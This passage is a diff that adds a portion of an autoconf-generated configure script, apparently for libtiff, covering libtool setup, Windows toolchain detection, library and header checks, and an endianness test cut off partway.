+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+CC="$lt_save_CC"
+
+
+
+
+
+
+
+
+
+
+
+
+
+                  ac_config_commands="$ac_config_commands libtool"
+
+
+
+
+# Only expand once:
+
+
+enable_win32_dll=yes
+
+case $host in
+*-*-cygwin* | *-*-mingw* | *-*-pw32*)
+  if test -n "$ac_tool_prefix"; then
+  # Extract the first word of "${ac_tool_prefix}as", so it can be a program name with args.
+set dummy ${ac_tool_prefix}as; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_AS+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$AS"; then
+  ac_cv_prog_AS="$AS" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_AS="${ac_tool_prefix}as"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+AS=$ac_cv_prog_AS
+if test -n "$AS"; then
+  echo "$as_me:$LINENO: result: $AS" >&5
+echo "${ECHO_T}$AS" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$ac_cv_prog_AS"; then
+  ac_ct_AS=$AS
+  # Extract the first word of "as", so it can be a program name with args.
+set dummy as; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_AS+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$ac_ct_AS"; then
+  ac_cv_prog_ac_ct_AS="$ac_ct_AS" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_ac_ct_AS="as"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+  test -z "$ac_cv_prog_ac_ct_AS" && ac_cv_prog_ac_ct_AS="false"
+fi
+fi
+ac_ct_AS=$ac_cv_prog_ac_ct_AS
+if test -n "$ac_ct_AS"; then
+  echo "$as_me:$LINENO: result: $ac_ct_AS" >&5
+echo "${ECHO_T}$ac_ct_AS" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+  AS=$ac_ct_AS
+else
+  AS="$ac_cv_prog_AS"
+fi
+
+  if test -n "$ac_tool_prefix"; then
+  # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_DLLTOOL+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$DLLTOOL"; then
+  ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+DLLTOOL=$ac_cv_prog_DLLTOOL
+if test -n "$DLLTOOL"; then
+  echo "$as_me:$LINENO: result: $DLLTOOL" >&5
+echo "${ECHO_T}$DLLTOOL" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$ac_cv_prog_DLLTOOL"; then
+  ac_ct_DLLTOOL=$DLLTOOL
+  # Extract the first word of "dlltool", so it can be a program name with args.
+set dummy dlltool; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_DLLTOOL+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$ac_ct_DLLTOOL"; then
+  ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_ac_ct_DLLTOOL="dlltool"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+  test -z "$ac_cv_prog_ac_ct_DLLTOOL" && ac_cv_prog_ac_ct_DLLTOOL="false"
+fi
+fi
+ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
+if test -n "$ac_ct_DLLTOOL"; then
+  echo "$as_me:$LINENO: result: $ac_ct_DLLTOOL" >&5
+echo "${ECHO_T}$ac_ct_DLLTOOL" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+  DLLTOOL=$ac_ct_DLLTOOL
+else
+  DLLTOOL="$ac_cv_prog_DLLTOOL"
+fi
+
+  if test -n "$ac_tool_prefix"; then
+  # Extract the first word of "${ac_tool_prefix}objdump", so it can be a program name with args.
+set dummy ${ac_tool_prefix}objdump; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_OBJDUMP+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$OBJDUMP"; then
+  ac_cv_prog_OBJDUMP="$OBJDUMP" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_OBJDUMP="${ac_tool_prefix}objdump"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+OBJDUMP=$ac_cv_prog_OBJDUMP
+if test -n "$OBJDUMP"; then
+  echo "$as_me:$LINENO: result: $OBJDUMP" >&5
+echo "${ECHO_T}$OBJDUMP" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$ac_cv_prog_OBJDUMP"; then
+  ac_ct_OBJDUMP=$OBJDUMP
+  # Extract the first word of "objdump", so it can be a program name with args.
+set dummy objdump; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_OBJDUMP+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$ac_ct_OBJDUMP"; then
+  ac_cv_prog_ac_ct_OBJDUMP="$ac_ct_OBJDUMP" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_ac_ct_OBJDUMP="objdump"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+  test -z "$ac_cv_prog_ac_ct_OBJDUMP" && ac_cv_prog_ac_ct_OBJDUMP="false"
+fi
+fi
+ac_ct_OBJDUMP=$ac_cv_prog_ac_ct_OBJDUMP
+if test -n "$ac_ct_OBJDUMP"; then
+  echo "$as_me:$LINENO: result: $ac_ct_OBJDUMP" >&5
+echo "${ECHO_T}$ac_ct_OBJDUMP" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+  OBJDUMP=$ac_ct_OBJDUMP
+else
+  OBJDUMP="$ac_cv_prog_OBJDUMP"
+fi
+
+  ;;
+esac
+
+test -z "$AS" && AS=as
+
+
+
+
+
+test -z "$DLLTOOL" && DLLTOOL=dlltool
+
+
+
+
+
+test -z "$OBJDUMP" && OBJDUMP=objdump
+
+
+
+
+
+
+
+
+
+echo "$as_me:$LINENO: checking for main in -lc" >&5
+echo $ECHO_N "checking for main in -lc... $ECHO_C" >&6
+if test "${ac_cv_lib_c_main+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-lc  $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+
+int
+main ()
+{
+main ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_lib_c_main=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_c_main=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_c_main" >&5
+echo "${ECHO_T}$ac_cv_lib_c_main" >&6
+if test $ac_cv_lib_c_main = yes; then
+  cat >>confdefs.h <<_ACEOF
+#define HAVE_LIBC 1
+_ACEOF
+
+  LIBS="-lc $LIBS"
+
+fi
+
+
+case "$target_os" in
+    cygwin* | mingw32* | beos* | darwin*)
+        ;;
+    *)
+
+echo "$as_me:$LINENO: checking for main in -lm" >&5
+echo $ECHO_N "checking for main in -lm... $ECHO_C" >&6
+if test "${ac_cv_lib_m_main+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-lm  $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+
+int
+main ()
+{
+main ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_lib_m_main=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_m_main=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_m_main" >&5
+echo "${ECHO_T}$ac_cv_lib_m_main" >&6
+if test $ac_cv_lib_m_main = yes; then
+  cat >>confdefs.h <<_ACEOF
+#define HAVE_LIBM 1
+_ACEOF
+
+  LIBS="-lm $LIBS"
+
+fi
+
+        ;;
+esac
+
+
+
+
+
+
+
+
+for ac_header in assert.h fcntl.h limits.h malloc.h search.h sys/time.h unistd.h
+do
+as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh`
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+  echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+else
+  # Is the header compilable?
+echo "$as_me:$LINENO: checking $ac_header usability" >&5
+echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+#include <$ac_header>
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_header_compiler=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_header_compiler=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_compiler" >&5
+echo "${ECHO_T}$ac_header_compiler" >&6
+
+# Is the header present?
+echo "$as_me:$LINENO: checking $ac_header presence" >&5
+echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <$ac_header>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+  (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } >/dev/null; then
+  if test -s conftest.err; then
+    ac_cpp_err=$ac_c_preproc_warn_flag
+    ac_cpp_err=$ac_cpp_err$ac_c_werror_flag
+  else
+    ac_cpp_err=
+  fi
+else
+  ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+  ac_header_preproc=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+  ac_header_preproc=no
+fi
+rm -f conftest.err conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_preproc" >&5
+echo "${ECHO_T}$ac_header_preproc" >&6
+
+# So?  What about this header?
+case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in
+  yes:no: )
+    { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5
+echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;}
+    { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;}
+    ac_header_preproc=yes
+    ;;
+  no:yes:* )
+    { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5
+echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;}
+    { echo "$as_me:$LINENO: WARNING: $ac_header:     check for missing prerequisite headers?" >&5
+echo "$as_me: WARNING: $ac_header:     check for missing prerequisite headers?" >&2;}
+    { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5
+echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;}
+    { echo "$as_me:$LINENO: WARNING: $ac_header:     section \"Present But Cannot Be Compiled\"" >&5
+echo "$as_me: WARNING: $ac_header:     section \"Present But Cannot Be Compiled\"" >&2;}
+    { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;}
+    { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5
+echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;}
+    (
+      cat <<\_ASBOX
+## -------------------------------------- ##
+## Report this to tiff@lists.maptools.org ##
+## -------------------------------------- ##
+_ASBOX
+    ) |
+      sed "s/^/$as_me: WARNING:     /" >&2
+    ;;
+esac
+echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  eval "$as_ac_Header=\$ac_header_preproc"
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+
+fi
+if test `eval echo '${'$as_ac_Header'}'` = yes; then
+  cat >>confdefs.h <<_ACEOF
+#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1
+_ACEOF
+
+fi
+
+done
+
+
+echo "$as_me:$LINENO: checking for an ANSI C-conforming const" >&5
+echo $ECHO_N "checking for an ANSI C-conforming const... $ECHO_C" >&6
+if test "${ac_cv_c_const+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+int
+main ()
+{
+/* FIXME: Include the comments suggested by Paul. */
+#ifndef __cplusplus
+  /* Ultrix mips cc rejects this.  */
+  typedef int charset[2];
+  const charset x;
+  /* SunOS 4.1.1 cc rejects this.  */
+  char const *const *ccp;
+  char **p;
+  /* NEC SVR4.0.2 mips cc rejects this.  */
+  struct point {int x, y;};
+  static struct point const zero = {0,0};
+  /* AIX XL C 1.02.0.0 rejects this.
+     It does not let you subtract one const X* pointer from another in
+     an arm of an if-expression whose if-part is not a constant
+     expression */
+  const char *g = "string";
+  ccp = &g + (g ? g-g : 0);
+  /* HPUX 7.0 cc rejects these. */
+  ++ccp;
+  p = (char**) ccp;
+  ccp = (char const *const *) p;
+  { /* SCO 3.2v4 cc rejects this.  */
+    char *t;
+    char const *s = 0 ? (char *) 0 : (char const *) 0;
+
+    *t++ = 0;
+  }
+  { /* Someone thinks the Sun supposedly-ANSI compiler will reject this.  */
+    int x[] = {25, 17};
+    const int *foo = &x[0];
+    ++foo;
+  }
+  { /* Sun SC1.0 ANSI compiler rejects this -- but not the above. */
+    typedef const int *iptr;
+    iptr p = 0;
+    ++p;
+  }
+  { /* AIX XL C 1.02.0.0 rejects this saying
+       "k.c", line 2.27: 1506-025 (S) Operand must be a modifiable lvalue. */
+    struct s { int j; const int *ap[3]; };
+    struct s *b; b->j = 5;
+  }
+  { /* ULTRIX-32 V3.1 (Rev 9) vcc rejects this */
+    const int foo = 10;
+  }
+#endif
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_c_const=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_c_const=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_c_const" >&5
+echo "${ECHO_T}$ac_cv_c_const" >&6
+if test $ac_cv_c_const = no; then
+
+cat >>confdefs.h <<\_ACEOF
+#define const
+_ACEOF
+
+fi
+
+echo "$as_me:$LINENO: checking for inline" >&5
+echo $ECHO_N "checking for inline... $ECHO_C" >&6
+if test "${ac_cv_c_inline+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_cv_c_inline=no
+for ac_kw in inline __inline__ __inline; do
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#ifndef __cplusplus
+typedef int foo_t;
+static $ac_kw foo_t static_foo () {return 0; }
+$ac_kw foo_t foo () {return 0; }
+#endif
+
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_c_inline=$ac_kw; break
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+done
+
+fi
+echo "$as_me:$LINENO: result: $ac_cv_c_inline" >&5
+echo "${ECHO_T}$ac_cv_c_inline" >&6
+
+
+case $ac_cv_c_inline in
+  inline | yes) ;;
+  *)
+    case $ac_cv_c_inline in
+      no) ac_val=;;
+      *) ac_val=$ac_cv_c_inline;;
+    esac
+    cat >>confdefs.h <<_ACEOF
+#ifndef __cplusplus
+#define inline $ac_val
+#endif
+_ACEOF
+    ;;
+esac
+
+echo "$as_me:$LINENO: checking whether byte ordering is bigendian" >&5
+echo $ECHO_N "checking whether byte ordering is bigendian... $ECHO_C" >&6
+if test "${ac_cv_c_bigendian+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  # See if sys/param.h defines the BYTE_ORDER macro.
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <sys/types.h>
+#include <sys/param.h>
+
+int
+main ()
+{
+#if !BYTE_ORDER || !BIG_ENDIAN || !LITTLE_ENDIAN
+ bogus endian macros
+#endif
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  # It does; now see whether it defined to BIG_ENDIAN or not.
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <sys/types.h>
+#include <sys/param.h>
+
+int
+main ()
+{
+#if BYTE_ORDER != BIG_ENDIAN
+ not big endian
+#endif
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_c_bigendian=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_c_bigendian=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+# It does not; compile a test program.
+if test "$cross_compiling" = yes; then
+  # try to guess the endianness by grepping values into an object file
+  ac_cv_c_bigendian=unknown
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+short ascii_mm[] = { 0x4249, 0x4765, 0x6E44, 0x6961, 0x6E53, 0x7953, 0 };
+short ascii_ii[] = { 0x694C, 0x5454, 0x656C, 0x6E45, 0x6944, 0x6E61, 0 };
+void _ascii () { char *s = (char *) ascii_mm; s = (char *) ascii_ii; }
+short ebcdic_ii[] = { 0x89D3, 0xE3E3, 0x8593, 0x95C5, 0x89C4, 0x9581, 0 };
+short ebcdic_mm[] = { 0xC2C9, 0xC785, 0x95C4, 0x8981, 0x95E2, 0xA8E2, 0 };
